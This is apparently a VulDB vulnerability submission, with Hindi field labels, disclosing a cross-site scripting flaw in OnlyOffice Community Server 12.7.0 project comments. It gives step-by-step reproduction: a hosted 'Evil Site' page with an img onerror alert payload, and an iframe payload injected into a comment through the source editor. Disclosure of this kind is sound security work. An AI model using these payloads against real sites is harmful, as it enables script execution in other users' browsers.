| शीर्षक | Ascensio System SIA OnlyOffice Community Server 12.7.0 Cross Site Scripting |
|---|
| विवरण | Description
In OnlyOffice, users can create projects and add comments. While HTML input is permitted, it also allows embedding iframe that can contain JavaScript, leading to an XSS vulnerability. The XSS doesn't directly affect OnlyOffice, instead JavaScript from any malicious site can be loaded to OnlyOffice through iframe tags.
Credits: 0xHamy & Luke Smith
Reproduce
Create index.html with the following content:
<!DOCTYPE html> <html> <head> <title>Malicious Page</title> </head> <body> <h1>Welcome to Evil Site</h1> <img/src=x onerror=alert('xss')> </body> </html>
Serve index.html with python http server:
python3 -m http.server
Create a comment under a project of your choice on OnlyOffice:
http://127.0.0.1:8088/Products/Projects/Messages.aspx?prjID=1&id=1#comments
Edit source code of the comment and use the following payload:
<iframe src="http://127.0.0.1:8000/index.html"></iframe>
Reload or spread the page and the content will load. |
|---|
| स्रोत | ⚠️ https://hkohi.ca/vulnerability/21 |
|---|
| उपयोगकर्ता | 0xHamy (UID 88518) |
|---|
| सबमिशन | 16/08/2025 05:23 AM (1 वर्ष पहले) |
|---|
| संयम | 11/09/2025 07:42 AM (26 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 323615 [Ascensio System SIA OnlyOffice तक 12.7.0 Comment Messages.aspx क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 20 |
|---|